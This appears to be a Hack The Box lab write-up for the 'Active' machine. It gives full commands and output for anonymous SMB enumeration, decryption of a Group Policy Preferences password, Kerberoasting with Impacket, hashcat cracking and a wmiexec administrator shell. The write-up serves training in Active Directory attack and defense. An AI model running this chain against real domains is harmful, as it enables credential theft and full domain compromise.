Active/Kerberoasting

The assessor began with an Nmap scan using the following commands:
sudo nmap -sV -p- -A 10.10.10.100 > active_scan

- -sV conducts a service enumeration scan
- -p- scans all 65535 ports
- -A is an aggressive scan that attempts to determine operating system information, service information, etc.

The scan reveals several ports related to a Microsoft Domain Controller:

```
┌──(kali㉿kali)-[~/HTB/active]
└─$ cat active_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-30 06:22 EST
Nmap scan report for 10.10.10.100
Host is up (0.039s latency).
Not shown: 65512 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Ser
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  tcpwrapped
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domai
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domai
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc         Microsoft Windows RPC
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49175/tcp open  msrpc         Microsoft Windows RPC
49176/tcp open  msrpc         Microsoft Windows RPC
49225/tcp open  msrpc         Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see http
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=1/30%OT=53%CT=1%CU=39359%PV=Y%DS=2%DC=T%G=Y%TM=63D7A90
OS:1%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=10E%TI=I%CI=I%II=I%SS=S%TS=
OS:7)SEQ(SP=100%GCD=1%ISR=10E%TI=I%CI=I%TS=7)SEQ(SP=100%GCD=1%ISR=10E%TI=I%
OS:II=I%SS=S%TS=7)OPS(O1=M539NW8ST11%O2=M539NW8ST11%O3=M539NW8NNT11%O4=M539
OS:NW8ST11%O5=M539NW8ST11%O6=M539ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W
OS:5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M539NW8NNS%CC=N%Q=)T1(R=Y%DF=Y
OS:%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=
OS:)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A
OS:=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%D
OS:F=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=
OS:G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
```

I will begin by trying to access the SMB share:

```
┌──(kali㉿kali)-[~/HTB/active]
└─$ smbclient -L \\\\10.10.10.100\\
Password for [WORKGROUP\kali]:
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Replication     Disk
        SYSVOL          Disk      Logon server share
        Users           Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Next I will try to access each share. I am denied access to all shares except the IPC$ and Replication share:

```
┌──(kali㉿kali)-[~/HTB/active]
└─$ smbclient \\\\10.10.10.100\\IPC$
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ^C
```

```
┌──(kali㉿kali)-[~/HTB/active]
└─$ smbclient \\\\10.10.10.100\\Replication
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Jul 21 06:37:44 2018
  ..                                  D        0  Sat Jul 21 06:37:44 2018
  active.htb                          D        0  Sat Jul 21 06:37:44 2018

                5217023 blocks of size 4096. 284554 blocks available
smb: \>
```

Looking around I was able to find a Group.xml file:

```
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> ls
  .                                   D        0  Sat Jul 21 06:37:44 2018
  ..                                  D        0  Sat Jul 21 06:37:44 2018
  Groups.xml                          A      533  Wed Jul 18 16:46:06 2018

                5217023 blocks of size 4096. 279567 blocks available
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> get Groups.xml
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups
.xml (5.5 KiloBytes/sec) (average 5.5 KiloBytes/sec)
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\>
```

Using the *cat* command reveals that the file contains a username and encrypted password:

```
┌──(kali㉿kali)-[~/HTB/active]
└─$ cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS
" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName=""
 description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" n
oChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
```

Windows Server 2008 Introduced Group Policy Preference (GPP). With this information we can use a tool known as *gpp-decrypt* to try and decrypt the password:

```
┌──(kali㉿kali)-[~/HTB/active]
└─$ gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
```

Next we will see what permissions we have as this user:

```
┌──(kali㉿kali)-[~/HTB/active]
└─$ smbmap -H 10.10.10.100 -u SVC_TGS -p 'GPPstillStandingStrong2k18'
[+] IP: 10.10.10.100:445        Name: 10.10.10.100
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share
        Replication                                             READ ONLY
        SYSVOL                                                  READ ONLY       Logon server share
        Users                                                   READ ONLY
```

Now we can access more shares with our user privilege:

```
                5217023 blocks of size 4096. 279567 blocks available
smb: \SVC_TGS\Desktop\> get user.txt
getting file \SVC_TGS\Desktop\user.txt of size 34 as user.txt (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)
smb: \SVC_TGS\Desktop\>
```

Since we know LDAP is open we can use a tool known as *ldapsearch* with the credentials we now have to query LDAP on the target machine:

- -x specifies simple authentication (Username and Password)
- -H specifies the target host
- -D specifies the username
- -w specifies the password
- -b specifies the search parameters
- -s specifies the filter parameters:

ldapsearch -x -H ldap://10.10.10.100:389 -D 'SVC_TGC' -w 'GPPstillStandingStron2k18' -b "dc=active.htb,dc=htb" -s sub "(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2)))" samaccountname | grep sAMAccountName

```
┌──(kali㉿kali)-[~/HTB/active]
└─$ ldapsearch -x -H ldap://10.10.10.100:389 -D 'SVC_TGS' -w 'GPPstillStandingStrong2k18' -b "dc=active,dc=htb" -s sub "(&(objectCat
egory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2)))" samaccountname | grep sAMAccountName
sAMAccountName: Administrator
sAMAccountName: SVC_TGS
```

Or you can use the GetADUsers.py script:

```
┌──(kali㉿kali)-[~]
└─$ GetADUsers.py -all active.htb/svc_tgs -dc-ip 10.10.10.100
Impacket v0.10.1.dev1+20230120.195338.34229464 - Copyright 2022 Fortra

Password:
[*] Querying 10.10.10.100 for information about domain.
Name                  Email                           PasswordLastSet      LastLogon
--------------------  ------------------------------  -------------------  -------------------
Administrator                                         2018-07-18 15:06:40.351723  2023-01-30 06:09:41.244143
Guest                                                 <never>              <never>
krbtgt                                                2018-07-18 14:50:36.972031  <never>
SVC_TGS                                               2018-07-18 16:14:38.402764  2018-07-21 10:01:30.320277
```

Privilege Escalation/Exploitation:

NOTE: Requires credentials for the scripts.

Kerberoasting is the method used to gain elevated privileges and access to the target. Kerberoasting involves extracting the hash of the encrypted material from a Kerberos TGT Reply which can be cracked and provide a plaintext password.

First assessors need to identify which accounts are configured with SPNs. Kerberos authentication uses Service Principal Names to identify accounts associated with a particular service instance. This can be done with *ldapsearch* or the *GetUserSPNs.py*:
ldapsearch -x -H ldap://10.10.10.100:389 -D 'SVC_TGS' -w 'GPPstillStandingStrong2k18' -b "dc=active,dc=htb" -s sub "(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2))(serviceprincipalname=/*))" serviceprincipalname | grep -B 1 servicePrincipalName*

```
┌──(kali㉿kali)-[~/HTB/active]
└─$ ldapsearch -x -H ldap://10.10.10.100:389 -D 'SVC_TGS' -w 'GPPstillStandingStrong2k18' -b "dc=active,dc=htb" -s sub "(&(objectCat
egory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2))(serviceprincipalname=*/*))" serviceprincipalname |
grep -B 1 servicePrincipalName
dn: CN=Administrator,CN=Users,DC=active,DC=htb
servicePrincipalName: active/CIFS:445
```

GetUserSPNs.py active.htb/svc_tgs -dc-ip 10.10.10.100

```
┌──(kali㉿kali)-[~/HTB/active]
└─$ GetUserSPNs.py active.htb/svc_tgs -dc-ip 10.10.10.100
Impacket v0.10.1.dev1+20230120.195338.34229464 - Copyright 2022 Fortra

Password:
ServicePrincipalName  Name           MemberOf                                                PasswordLastSet             LastLogon
                   Delegation
--------------------  -------------  ------------------------------------------------------  --------------------------  ---------
--------------------  -------------

active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 15:06:40.351723  2023-01-3
0 06:09:41.244143
```

Now that we've found an account configured with a SPN we can send a request to receive a reply with the encrypted credentials. Using GetUserSPNs.py you can send a request:
GetUserSPNs.py active.htb/svc_tgs -dc-ip 10.10.10.100 -request

```
┌──(kali㉿kali)-[~/HTB/active]
└─$ GetUserSPNs.py active.htb/svc_tgs -dc-ip 10.10.10.100 -request
Impacket v0.10.1.dev1+20230120.195338.34229464 - Copyright 2022 Fortra

Password:
ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon
                   Delegation
____________________  _____________  ________________________________________________________  __________________________  _________
____________________  _____________

active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 15:06:40.351723  2023-01-3
0 06:09:41.244143



[-] CCache file is not found. Skipping ...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$4d9e42ba17790d2b96bdfa1d517d3237$5c0b5fd7d1915065d6e681bf6fe82dee9d4
8972dda193bb9d338a0585ee3fcbfe48322c3bc28639a676d54bc4fda1b8990c7e26e379ea7ed028669cfc5fb18096afb76f291eb4c4c13cd704a02ea6381de77e58
dffcf0d8cb503edee496c1597d06a71c9e5e5022aaf4c32ef82f5093225eda3824b92f8deba5851916c2a9485025d7d0f0ccfdb9b61a3522e0fafbaa6f5b586425f0
11639160bf3ed13e82cf76b402265cf33dff6525514aef18642e48c257dca1f213555ffe6204c6c783fa90775af4b572ba9f93acdb862b825ffc7fb42c0db0fa384f
c70370895c003b5af834048b845bc29fade74a439b0a32719bd84e22f4e40f9d71e62b45f163ce69e90ca96518b6ac2fec8539848d5cb32871a9d30eb903eb879232
e3df65dabfd03306fad623cf396ba82deb9b7fe7d8609b3a5e917759fc32033f096df75cf36051634aba9efabee61b32217253aa632c0ba50d426d411b7b1c9eee81
84cb7767090df70736ee6d9b5ce2ffecfaa795e55b7d5b52ddb1d702612b732f3b121e6b05a18b727b4ee25861be2f3e73dc5416d5d691651bf8fcb3174b5a8ab640
a2c511f9b1be6fb91a7bf032dadba8b7114bec6aedd0cc3588238dfcedcb75b2fa8a153f6579037fced61ce92f1cc0e2bc3441548cf080be3a2f554ec8727729f113
733319fc2340c5a4d2ca77eb85b0445cfca79642d5bdd73e622a1d4325b24fa96c72f5fe597d5613e0fbd9e6838693bd0fc7e668ec1ab09354bd4c47f616da734f2a
3ed53e231016629688b7eefbb14c0045fc11725ff1a56a503a1c3ead3b8882c52a315cd173cb541617b7f00216fd9a28371dbb5eb1afa9b95ccdff76d16fd9ac8cbf
e2b1440b60852435c926213c141c401b94096eda9d0ec8a67dc3a9189736c8ea5949ac11523c63da5d59da699143f29124e196010d090e7cdee8f3d06c9ee6e72bdc
37b3e027a8c5d485c33db582100ee937b6e9d9a3dd29c443c71958da287f578a8c983643234914a01501d9f9f42ef7240cf7b82395279074a72619120c17037b2a3d
5525d3ddf72f61aec84d2f462ee2869a7e945f8b7666d5623e884f07766c8f61b6ba14ac2b8ca679640bd0c08e39c4e2aca028e2b1fc482815ebd851726df1ac44e2
0cd755dcf5d2ac2be5d4ee9600be158a29041dc117526acfa8d3112f192378e4b97d7c8ceaafe8a0d4af0726a701f1004b1fa1093ee5356ab63af8592d3b8489fff8
81fb567cb83c1503d426e0a75e856
```

Now we can use Hashcat to crack the password:
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

```
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$4d9e42ba17790d2b96bdfa1d517d3237$5c0b5fd7d1915065d6e681bf6fe82dee9d4
8972dda193bb9d338a0585ee3fcbfe48322c3bc28639a676d54bc4fda1b8990c7e26e379ea7ed028669cfc5fb18096afb76f291eb4c4c13cd704a02ea6381de77e58
dffcf0d8cb503edee496c1597d06a71c9e5e5022aaf4c32ef82f5093225eda3824b92f8deba5851916c2a9485025d7d0f0ccfdb9b61a3522e0fafbaa6f5b586425f0
11639160bf3ed13e82cf76b402265cf33dff6525514aef18642e48c257dca1f213555ffe6204c6c783fa90775af4b572ba9f93acdb862b825ffc7fb42c0db0fa384f
c70370895c003b5af834048b845bc29fade74a439b0a32719bd84e22f4e40f9d71e62b45f163ce69e90ca96518b6ac2fec8539848d5cb32871a9d30eb903eb879232
e3df65dabfd03306fad623cf396ba82deb9b7fe7d8609b3a5e917759fc32033f096df75cf36051634aba9efabee61b32217253aa632c0ba50d426d411b7b1c9eee81
84cb7767090df70736ee6d9b5ce2ffecfaa795e55b7d5b52ddb1d702612b732f3b121e6b05a18b727b4ee25861be2f3e73dc5416d5d691651bf8fcb3174b5a8ab640
a2c511f9b1be6fb91a7bf032dadba8b7114bec6aedd0cc3588238dfcedcb75b2fa8a153f6579037fced61ce92f1cc0e2bc3441548cf080be3a2f554ec8727729f113
733319fc2340c5a4d2ca77eb85b0445cfca79642d5bdd73e622a1d4325b24fa96c72f5fe597d5613e0fbd9e6838693bd0fc7e668ec1ab09354bd4c47f616da734f2a
3ed53e231016629688b7eefbb14c0045fc11725ff1a56a503a1c3ead3b8882c52a315cd173cb541617b7f00216fd9a28371dbb5eb1afa9b95ccdff76d16fd9ac8cbf
e2b1440b60852435c926213c141c401b94096eda9d0ec8a67dc3a9189736c8ea5949ac11523c63da5d59da699143f29124e196010d090e7cdee8f3d06c9ee6e72bdc
37b3e027a8c5d485c33db582100ee937b6e9d9a3dd29c443c71958da287f578a8c983643234914a01501d9f9f42ef7240cf7b82395279074a72619120c17037b2a3d
5525d3ddf72f61aec84d2f462ee2869a7e945f8b7666d5623e884f07766c8f61b6ba14ac2b8ca679640bd0c08e39c4e2aca028e2b1fc482815ebd851726df1ac44e2
0cd755dcf5d2ac2be5d4ee9600be158a29041dc117526acfa8d3112f192378e4b97d7c8ceaafe8a0d4af0726a701f1004b1fa1093ee5356ab63af8592d3b8489fff8
81fb567cb83c1503d426e0a75e856:Ticketmaster1968
```

Now we have the Administrator password. With this password we can use wmiexec.py to gain a shell onto the system:
wmiexec.py active.htb/administrator:Ticketmaster1968@10.10.10.100

```
┌──(kali㉿kali)-[~/HTB/active]
└─$ wmiexec.py active.htb/administrator:Ticketmaster1968@10.10.10.100
Impacket v0.10.1.dev1+20230120.195338.34229464 - Copyright 2022 Fortra

[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
active\administrator

C:\>
```